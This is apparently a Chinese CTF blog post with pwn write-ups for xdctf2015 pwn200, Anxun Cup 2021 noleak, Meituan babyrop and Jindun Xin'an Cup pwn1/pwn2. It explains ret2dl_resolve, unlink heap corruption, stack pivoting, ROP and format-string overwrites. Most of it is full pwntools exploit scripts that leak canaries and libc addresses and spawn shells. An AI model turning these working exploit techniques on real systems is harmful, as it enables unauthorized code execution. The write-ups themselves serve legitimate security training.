BUUCTF-pwn(7)

ret2dl_resolve

_dl_runtime_resolve()通过两个参数在libc中寻找函数地址,而我们更加关注的是第二个参数也就是上面write的0x20,0x20将_dl_runtime_resolve()带到了reloc的位置,reloc中有2个重要信息,一个是函数的got表地址,另一个是r_info。r_info的高位是.dynsym中的条目,.dynsym的地址加上0x10*Num,得到函数对应的符号信息,而修改其中的st_name偏移,就可以伪造函数名称,从而实现漏洞利用,我们将其过程反过来,根据漏洞利用顺序,实现漏洞利用:

1、在一个地址上写入"system";

2、伪造reloc,其中r_info根据.dynsym+0x10*NUM = address of(Elf32_Sym ),计算出r_info;

3、伪造Elf32_Sym ,其中st_name为.dynstr+st_name = address of(“system”);

4、调用dl_runtime_resolve()的参数,修改其参数,使其指向伪造的reloc。

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

xdctf2015_pwn200

该题目可以利用ret2libc,但是这里我们使用ret2dl_resolve!
在这里插入图片描述
我们先来看下.dynsym和.dynstr的关系!
在这里插入图片描述
在这里插入图片描述
我们再来看看.rel.plt的关系!
在这里插入图片描述

在这里插入图片描述
这里可以发现.dynsym+r_info*0x10为.dynsym的offset,此时.dynsym加上offset即为字符串地址!
此时我们再来看一下第一次运行是如何将got地址覆写的!
在这里插入图片描述
此时jmp会首先跳转到PLT0中
执行

0x08048370      push dword [0x804a004] ; [12] -r-x section size 96 named .plt
0x08048376      jmp dword [0x804a008]

在这里插入图片描述
PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义,动态链接器在开始时给它们填充了特殊的内容:

  • GOT[1]:一个指向内部数据结构的指针,类型是 link_map,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 l_info 域中保存了 .dynamic 段中大多数条目的指针构成的一个数组,我们后面会利用它。
  • GOT[2]:一个指向动态装载器中 _dl_runtime_resolve 函数的指针。
    函数使用参数 link_map_obj 来获取解析导入函数(使用reloc_index参数标识)需要的信息,并将结果写到正确的 GOT 条目中。

在 _dl_runtime_resolve 解析完成后,控制流就交到了那个函数手里,而下次再调用函数的 plt 时,就会直接进入目标函数中执行。

也就是 .rel.plt -> dynsym -> dynstr
而r_info没有边界检查,这就意味着我们可以伪造 .rel.plt -> dynsym -> dynstr 链子!

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386',endian='little')

binary = './bof'
r = remote('node4.buuoj.cn',27261)
#r = process(binary)
elf = ELF(binary)
write_got = elf.got['write']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']

pop_ebp_ret = 0x0804862b
pop_esi_edi_ebp_ret = 0x08048629
leave_ret = 0x08048445

bss_addr = elf.get_section_by_name('.bss').header.sh_addr
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

base_addr = bss_addr+0x500

def stack_pivot():
    r.recvuntil("Welcome to XDCTF2015~!\n")
    payload = flat(['a'*0x70, read_plt, pop_esi_edi_ebp_ret, 0, base_addr, 0x100, pop_ebp_ret, base_addr, leave_ret])
    r.sendline(payload)

def stage1():
    sh_addr = base_addr+0x80
    payload = flat({
        0x0:flat(['aaaa', write_plt, 'bbbb', 1, sh_addr, len("/bin/sh\x00")]),
        0x80:'/bin/sh\x00'
    })
    r.sendline(payload)

def stage2():
    reloc_index = 0x20
    sh_addr = base_addr+0x80
    payload = flat({
        0x0:flat(['aaaa', plt_0, reloc_index, 'aaaa', 1, sh_addr, len("/bin/sh\x00")]),
        0x80:'/bin/sh\x00'
    })
    r.sendline(payload)

def stage3():
    sh_addr = base_addr+0x80
    reloc_index = 0x20
    fake_reloc_addr = base_addr+0x1c
    reloc_index = fake_reloc_addr-rel_plt 
    r_offset = write_got
    r_info = 0x607
    fake_reloc = flat([r_offset, r_info])
    payload = flat({
        0x0:flat(['aaaa', plt_0, reloc_index, 'aaaa', 1, sh_addr, len("/bin/sh\x00")]),
        0x1c:fake_reloc ,
        0x80:'/bin/sh\x00'
    })
    r.sendline(payload)

def stage4():
    sh_addr = base_addr+0x80
    fake_reloc_addr = base_addr + 0x1c
    fake_dynsym_addr = base_addr + 0x24
    align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
    fake_dynsym_addr = fake_dynsym_addr + align
    reloc_index = fake_reloc_addr-rel_plt

    r_offset = write_got
    r_sym = (int)((fake_dynsym_addr-dynsym)/0x10)
    r_type = 0x7
    r_info = (r_sym<<8) + (r_type&0xff)
    fake_reloc = flat([r_offset, r_info])

    st_name = 0x4c
    st_info = 0x12
    fake_dynsym = flat([st_name, 0, 0, st_info])

    payload = flat({
        0x0:flat(['aaaa', plt_0, reloc_index, 'aaaa', 1, sh_addr, len("/bin/sh\x00")]),
        0x1c:fake_reloc ,
        0x24+align:fake_dynsym ,
        0x80:'/bin/sh\x00'
    })
    r.sendline(payload)

def stage5():
    sh_addr = base_addr+0x80
    fake_reloc_addr = base_addr + 0x1c
    fake_dynsym_addr = base_addr + 0x24
    align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
    fake_dynsym_addr = fake_dynsym_addr + align
    fake_dynstr_addr = base_addr + 0x50
    reloc_index = fake_reloc_addr - rel_plt

    r_offset = write_got
    r_sym = (int)((fake_dynsym_addr-dynsym)/0x10)
    r_type = 0x7
    r_info = (r_sym<<8) + (r_type&0xff)
    fake_reloc = flat([r_offset, r_info])

    st_name = fake_dynstr_addr-dynstr
    st_bind = 0x1
    st_type = 0x2
    st_info = (st_bind << 4) + (st_type & 0xf)
    fake_dynsym = flat([st_name, 0, 0, st_info])

    payload = flat({
        0x0:flat(['aaaa', plt_0, reloc_index, 'aaaa', 1, sh_addr, len("/bin/sh\x00")]),
        0x1c:fake_reloc ,
        0x24+align:fake_dynsym ,
        0x50:'write\x00' ,
        0x80:'/bin/sh\x00'
    })
    r.sendline(payload)

def stage6():
    sh_addr = base_addr+0x80
    fake_reloc_addr = base_addr + 0x1c
    fake_dynsym_addr = base_addr + 0x24
    align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
    fake_dynsym_addr = fake_dynsym_addr + align
    fake_dynstr_addr = base_addr + 0x50
    reloc_index = fake_reloc_addr - rel_plt

    r_offset = write_got
    r_sym = (int)((fake_dynsym_addr-dynsym)/0x10)
    r_type = 0x7
    r_info = (r_sym<<8) + (r_type&0xff)
    fake_reloc = flat([r_offset, r_info])

    st_name = fake_dynstr_addr-dynstr
    st_bind = 0x1
    st_type = 0x2
    st_info = (st_bind << 4) + (st_type & 0xf)
    fake_dynsym = flat([st_name, 0, 0, st_info])

    payload = flat({
        0x0:flat(['aaaa', plt_0, reloc_index, 'aaaa', sh_addr]),
        0x1c:fake_reloc ,
        0x24+align:fake_dynsym ,
        0x50:'system\x00' ,
        0x80:'/bin/sh\x00'
    })
    r.sendline(payload)

if __name__ == '__main__':
    stack_pivot()
    sleep(0.5)
    stage6()
    r.interactive()

坑点
这里如果使用该脚本,本地测试stage6并不会获取权限,远程可以获取权限,stage1~5可以本地测试通过(Ubuntu20)
在这里插入图片描述
这里就需要将bof的glibc修改为Libc2.23本地测试即可通过!
经过讨论,将base_addr = bss_addr + 0x700进行修改,Ubuntu20即可获取权限!


Unlink

unlink是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链。

我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果

安洵杯2021-noleak

在这里插入图片描述
主要的Allocate与Free函数实现如下:
在这里插入图片描述
在这里插入图片描述
此时我们可以使用 off by null 实现Unlink,从而泄露地址,并造成chunk重叠!

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = '/home/pwn/question/noleak/noleak'
r = process(binary)
elf = ELF(binary)
#libc = ELF('./libc.so.6')

def Allocate(index,size):
    r.recvuntil(">")
    r.sendline('1')
    r.sendlineafter("Index?\n",str(index))
    r.sendlineafter("Size?\n",str(size))

def Show(index):
    r.recvuntil(">")
    r.sendline('2')
    r.recvuntil("Index?\n")
    r.sendline(str(index))

def Edit(index,payload):
    r.recvuntil(">")
    r.sendline('3')
    r.sendlineafter("Index?\n",str(index))
    r.sendlineafter("content:\n",payload)

def Free(index):
    r.recvuntil(">")
    r.sendline('4')
    r.sendlineafter("Index?\n",str(index))


#begin
r.recvuntil("please input a str:")
r.sendline("N0_py_1n_tHe_ct7")#N0_py_1n_tHe_ct7


Allocate(0,0x450)
Allocate(1,0x18)
Allocate(2,0x4f0)
Allocate(3,0x18)

Free(0)
Edit(1,b'a'*0x10+p64(0x480))#修改prve_size
Free(2)

Allocate(0,0x450)
Show(1)

main_arena = u64(r.recvuntil('\x7f').ljust(8,b'\0'))-96
malloc_hook = main_arena-0x10
free_hook = malloc_hook+0x1cb8
system = main_arena-0x39c800
log.info("main_arena -> "+hex(main_arena))
log.info("__malloc_hook -> "+hex(malloc_hook))
log.info("__free_hook -> "+hex(free_hook))
log.info("system_addr -> "+hex(system))


Allocate(2,0x18)#1
Free(2)
Edit(1,p64(free_hook))

Allocate(2,0x18)
Allocate(3,0x18)
Edit(3,p64(system))

Allocate(3,0x20)
Edit(3,b'/bin/sh\x00')
Free(3)

#gdb.attach(r)

r.interactive()

小赛

这两天有俩比赛,记录一下比赛题目。

美团babyrop

该题目使用栈迁移,赛时想法为ret2libc然后重新返回main函数,执行system,但是经过动态调试发现该思路不行,即返回main函数,会出现栈不对齐问题,则可以返回start函数,执行main函数,但是却无法执行第一次输入(存在判断),故又可能为栈拼接,因为两次输入的栈距离较近,但是经过实践同样不可行,则采用栈迁移!
在这里插入图片描述
进行调试分析。
在这里插入图片描述
此时我们得到了canary,接下来还有一个栈溢出,仅仅只能修改eip,故采用栈迁移
在这里插入图片描述
在这里插入图片描述
整体流程大体便是这样子了
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64',endian='little')

binary = './babyrop'
r = process(binary)
elf = ELF(binary)
start = 0x0400630
main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0400913
leave_ret = 0x0400759
def leak():
    global canary
    r.recvuntil("What your name? \n")
    payload = b'a'*0x18+b'b'
    r.sendline(payload)
    r.recvuntil(b'b')
    canary = u64(r.recv(7).rjust(8,b'\x00'))
    log.info("canary -> "+hex(canary))

stack = 0x601800
#gdb.attach(r)
leak()
r.sendline(str(0x4009ae))
r.recvuntil("input your message\n")
payload = flat(['a'*0x18,canary,stack,0x040072E])
#gdb.attach(r)
r.send(payload)
payload2 = flat([pop_rdi_ret,puts_got,0x040086E,canary,stack-0x28,leave_ret])
r.send(payload2)
puts_addr = u64(r.recvuntil("\n")[:-1].ljust(8,b'\x00'))
log.info("puts_addr -> "+hex(puts_addr))
libc_base = puts_addr-0x80aa0
one = libc_base+0x4f432

payload3 = flat(['a'*0x18,canary,'a'*0x8,one])
r.send(payload3)

r.interactive()

payload = flat([‘a’*0x18,canary,stack,0x040072E])
payload2 = flat([pop_rdi_ret,puts_got,0x040086E,canary,stack-0x28,leave_ret])


金盾信安杯pwn2

在这里插入图片描述

from pwn import *
from pwnlib import timeout
context(os='linux',arch='amd64')

binary = './babystack'
#r = remote('81.69.230.99',9002)
r = process(binary)
elf = ELF(binary)
libc = ELF('./libc-2.27.so')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
start = 0x0400590
pop_rdi_ret = 0x0400813
ret = 0x040053e

#gdb.attach(r)

while 1:
    try:
        r = process(binary)
        r.recvuntil("Leave your name\n")
        payload = flat({
        0x0d:ret ,0x15:ret ,0x1d:ret ,0x25:ret ,0x2d:ret ,0x35:ret ,
        0x3d:ret ,0x45:ret ,0x4d:pop_rdi_ret ,0x55:puts_got ,
        0x5d:puts_plt ,0x65:start 
        })
        #gdb.attach(r)
        r.send(payload)
        r.recvuntil('\n')
        puts_addr = u64(r.recv(6).ljust(8,b'\x00'),timeout=0.01)
        #gdb.attach(r)
        #libc = LibcSearcher('puts',puts_addr)
        if puts_addr < 0x7f0000000000:
            r.close()
            continue
        log.info("puts_addr -> "+hex(puts_addr))
        libc_base = puts_addr-libc.symbols['puts']
        system = libc_base+libc.symbols['system']
        sh = libc_base+0x01B3E1A
        one = libc_base+0x4f3d5#0x4f432
        log.info("one -> "+hex(one))
        r.recvuntil("Leave your name\n")
        payload2 = flat({
            0x0d:ret ,0x15:ret ,0x1d:ret ,0x25:ret ,
            0x2d:ret ,0x35:one ,0x3d:one ,0x45:one ,
            0x4d:one ,0x55:one ,
            0x5d:one ,0x65:one
        })
        #gdb.attach(r)
        #print(hex(system))
        #print(hex(sh))
        #sleep(0.1)
        r.send(payload2)
        r.recvline()
        r.sendline("cat flag")
        flag = str(r.recvuntil("}"))
        print(flag)
            
        #r.close()
        pause()
        #r.interactive()
    except:
        sleep(0.1)
        r.close()

此时我们使用ret滑行增大出flag的几率。主体逻辑是进行两次输入,第一次输入构造出puts(puts_got);ret start。(注:此时不可使用main函数作为返回地址,因为main函数作为返回地址无法造成第二次输入)第二次输入我们同样采用ret滑行,或者全部使用one_gadget进行填充,增大获取权限的几率!
同理我们也可以使用system,但是注意栈对齐,否则无法度过movaps该指令 获取权限!

在这里插入图片描述


同样,使用栈迁移也可以获取flag!

from pwn import *
from pwnlib import timeout
context(os='linux',arch='amd64')

binary='./babystack'
#r = process(binary)
elf = ELF(binary)
bss_addr = 0x0601060
pop_rdi_ret = 0x0400813
pop_rdx_r15_ret = 0x0400811
leave_ret = 0x0400701
ret = 0x040053e
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

begin_addr = 0x601800#bss_addr+0x1000

while 1:
    try:
        r = process(binary)
        r.recvuntil("Leave your name\n")
        payload = b'a'*0xd+flat([begin_addr ,pop_rdi_ret ,
        puts_got ,puts_plt ,pop_rdi_ret ,0 ,pop_rdx_r15_ret ,
        begin_addr ,0 ,read_plt ,leave_ret])
        payload = payload.ljust(0x6d,b'b')
        #gdb.attach(r,'b *0x0400703')
        r.send(payload)
        r.recvline()
        
        puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,b'\x00'))
        log.info("puts_addr -> "+hex(puts_addr))
        libc_base = puts_addr - 0x80aa0
        gadget = libc_base + 0x4f3d5
        system = libc_base + 0x4f550
        sh = libc_base + 0x1b3e1a

        #r.recvuntil("Leave your name\n")
        payload2 = flat(['a'*0x8,pop_rdi_ret,sh,ret,system])
        r.sendline(payload2)
        r.sendline("cat flag")
        flag = r.recvuntil("}")
        print(flag)
        pause()
        r.interactive()
    except:
        r.close()
        continue

在这里插入图片描述


金盾信安杯pwn1

在这里插入图片描述
主要漏洞利用点,此时我们采用格式化字符串漏洞,修改返回地址为one_gadget,修改量较小。
本地测试通过!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './say'
#r = remote('81.69.230.99', 9001)
r = process(binary)
elf = ELF(binary)
main = 0xC43
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0xd03

def writeAddr(payload):
    r.recvuntil("Do you want to say what???\n")
    r.sendline(payload)

#gdb.attach(r)
writeAddr('aaaaaaaa.%42$p.%43$p.%44$p.%48$p')#7 43 44

r.recvuntil("0x")
canary = int(r.recvuntil('.')[:-1],16)#42
r.recvuntil("0x")
eip_addr = int(r.recvuntil('.')[:-1],16)-0x8#43
r.recvuntil("0x")
code_base = int(r.recvuntil('.')[:-1],16)-0xc40#44
r.recvuntil("0x")
libc_base = int(r.recvuntil('\n')[:-1],16)-0x20830#48
log.info("canary -> "+hex(canary))
log.info("eip_addr -> "+hex(eip_addr))
log.info("code_base -> "+hex(code_base))
log.info("libc_base -> "+hex(libc_base))

main += code_base
pop_rdi_ret += code_base
puts_plt += code_base
puts_got += code_base
one = libc_base+0x45206
log.debug("one-gadget -> "+hex(one))
#gdb.attach(r)
payload = '%'+str((eip_addr&0xff)+16)+'c%43$hhn'
writeAddr(payload)
payload = '%'+str((one&0xff)-16)+'c%45$hhn'
writeAddr(payload)
payload = '%'+str((eip_addr&0xff)+16+1)+'c%43$hhn'
writeAddr(payload)
payload = '%'+str(((one&0xff00)>>8)-16)+'c%45$hhn'
writeAddr(payload)
payload = '%'+str((eip_addr&0xff)+16+2)+'c%43$hhn'
writeAddr(payload)
payload = '%'+str(((one&0xff0000)>>16)-16)+'c%45$hhn'
writeAddr(payload)

writeAddr('exit')
#gdb.attach(r)

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值